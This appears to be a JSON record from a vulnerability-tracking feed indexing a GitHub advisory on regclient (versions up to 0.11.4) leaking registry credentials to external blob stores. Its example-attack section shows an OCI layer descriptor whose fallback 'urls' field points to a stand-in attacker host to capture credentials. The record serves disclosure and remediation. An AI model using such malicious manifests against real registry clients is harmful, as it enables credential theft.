{"items":[{"id":"NVI-00017800","kind":"vulnerability","title":"regclient may leak authentication credentials to external blob stores","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-qvqc-4c52-x6qp","CVE-2026-49349"],"plain_summary":"GitHub lists this reviewed advisory for github.com/regclient/regclient. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-689b7e9fd8d7d47023bb2728f3ca42f4"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-26T22:43:32.000Z","value":"6.8 medium","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-689b7e9fd8d7d47023bb2728f3ca42f4"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-689b7e9fd8d7d47023bb2728f3ca42f4","url":"https://github.com/advisories/GHSA-qvqc-4c52-x6qp","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-qvqc-4c52-x6qp","publisher":"GitHub Advisory Database","observed_at":"2026-11-05T19:05:04.022Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-689b7e9fd8d7d47023bb2728f3ca42f4"],"technology":"github.com/regclient/regclient","known_exclusions":[],"conditions_summary":"Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.\n\n## Example attack\n\nA malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host:\n\n```json\n{\n  \"mediaType\": \"application/vnd.oci.image.layer.v1.tar+gzip\",\n  \"digest\": \"sha256:...\",\n  \"size\": 1024,\n  \"urls\": [\"https://malicious.example.org/blobs/sha256/...\"]\n}\n```\n\nWhen regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.\n\n## Timeline\n\n- 2026-05-25: Advisory submitted\n- 2026-05-26: Fix released\n\n## Credit\n\nTheodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security","public_affected_ranges":["<= 0.11.4"]}],"null_published_at":"2026-11-05T19:10:21.469Z","source_updated_at":"2026-06-26T22:43:32.000Z","source_disclosed_at":"2026-06-26T22:43:31.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-05T19:05:04.022Z"}],"next_cursor":null,"snapshot_revision":"42594"}